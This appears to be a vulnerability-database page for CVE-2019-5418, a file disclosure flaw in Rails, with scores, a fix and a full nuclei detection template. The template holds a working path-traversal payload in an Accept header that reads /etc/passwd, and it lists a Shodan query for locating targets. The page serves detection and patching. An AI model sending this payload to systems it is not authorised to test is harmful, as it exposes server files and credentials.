HexBrain

Browse / CVEs / CVE-2019-5418

CVE-2019-5418· rubyonrails / rails· CWE-22, NVD-CWE-noinfo

Rails File Content Disclosure

Exploited in the wild. Listed by CISA on 2025-07-07; known to be used by ransomware.

highseverity
7.5CVSS score
98.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed.

Impact

This vulnerability can lead to unauthorized access to sensitive information stored on the server.

Fix

Apply the patch provided by the Rails team or upgrade to a version that includes the fix.

How to confirm it

Send: GET {{BaseURL}}
Positive when: matches /root:.*:0:0:/ AND status 200 or 500

Run it with nuclei: nuclei -id CVE-2019-5418 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-5418

info:
  name: Rails File Content Disclosure
  author: omarkurt
  severity: high
  description: Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information stored on the server.
  remediation: |
    Apply the patch provided by the Rails team or upgrade to a version that includes the fix.
  reference:
    - https://github.com/omarkurt/CVE-2019-5418
    - https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5418
    - https://www.exploit-db.com/exploits/46585/
    - http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00011.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-5418
    cwe-id: CWE-22,NVD-CWE-noinfo
    epss-score: 0.98507
    epss-percentile: 0.9992
    cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: rails
    shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
  tags: cve,cve2019,rails,lfi,disclosure,edb,rubyonrails,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      Accept: ../../../../../../../../etc/passwd{{

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from